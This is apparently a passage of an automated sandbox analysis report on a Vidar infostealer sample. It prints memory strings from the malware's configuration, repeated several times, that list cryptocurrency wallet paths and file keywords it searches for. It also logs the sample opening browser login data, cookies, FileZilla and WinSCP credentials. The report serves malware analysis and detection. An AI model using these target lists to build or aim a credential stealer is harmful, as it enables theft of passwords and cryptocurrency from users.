(Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,*.mp3\|
Source: MSBuild.exe, 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,*.mp3\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6616, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.aacae0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.aacae0.3.unpack, type: UNPACKEDPE
